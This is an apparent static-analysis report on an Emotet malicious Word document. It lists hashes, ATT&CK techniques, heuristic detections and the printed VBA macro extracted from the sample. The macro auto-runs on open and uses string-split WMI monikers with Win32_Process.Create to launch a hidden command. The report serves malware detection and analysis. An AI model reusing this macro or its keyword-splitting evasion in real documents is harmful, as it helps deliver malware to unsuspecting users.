Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1f1d3aa9f829ec43…

MALICIOUS

Office (OLE)

128.4 KB Created: 2019-05-16 07:54:00 Authoring application: Microsoft Office Word First seen: 2019-10-30
MD5: cc8afb10a14c888fb9ba66e9e6b1bba5 SHA-1: 7d3225c63567d456211c556bb151c4c0d66127b6 SHA-256: 1f1d3aa9f829ec43dbd4a301b09e705cd5bdc5bda61e0d3d75bd4fd0a7247e45
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1087.001 Local Account T1047 Windows Management Instrumentation

The sample contains a VBA macro with an autoopen subroutine that uses GetObject to instantiate WMI. It then calls the Win32_Process.Create method to execute a payload. The macro uses string concatenation to obfuscate the WMI service name 'winmgmts:'. This behavior is characteristic of Emotet downloaders, which are known to use this technique to fetch and run additional malware.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1257 bytes
SHA-256: 1422d0fb5baeddbc05bbf29ec30c0b06e7542e8b0b69b845a37ab13cd23ba30a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "c18307"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "A7171662, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Z1655_30, 1, 1, MSForms, TextBox"
Attribute VB_Control = "n_68133, 2, 2, MSForms, TextBox"
Attribute VB_Control = "n43712, 3, 3, MSForms, TextBox"
Attribute VB_Control = "s__995, 4, 4, MSForms, TextBox"
Attribute VB_Control = "P9985737, 5, 5, MSForms, TextBox"

Attribute VB_Name = "L_0_04"
Sub _
autoopen( _
)
Set Y348958 = GetObject(("winm" + "gmts:" + "Win32_Proc" + "essS" + "tartup"))
   q979155 = (("I99829") + ("325166050"))
Y348958. _
ShowWindow = vbFalse - vbFalse
   U308742 = (("o33805") + ("953540693"))
I741619_ = c18307.Z1655_30 + c18307.n_68133 + c18307.n43712 + c18307.s__995 + c18307.A7171662
   U6_4468 = (("N0930859") + ("374721587"))
Set D33_36_4 = GetObject(("winm" + "gmts:" + "Win32_Process"))
   N324636 = (("d742_5") + ("882162622"))
D33_36_4.Create F524797 + I741619_ + u_4_4587, K1283489, Y348958, i744294
End Sub


Attribute VB_Name = "v49121"

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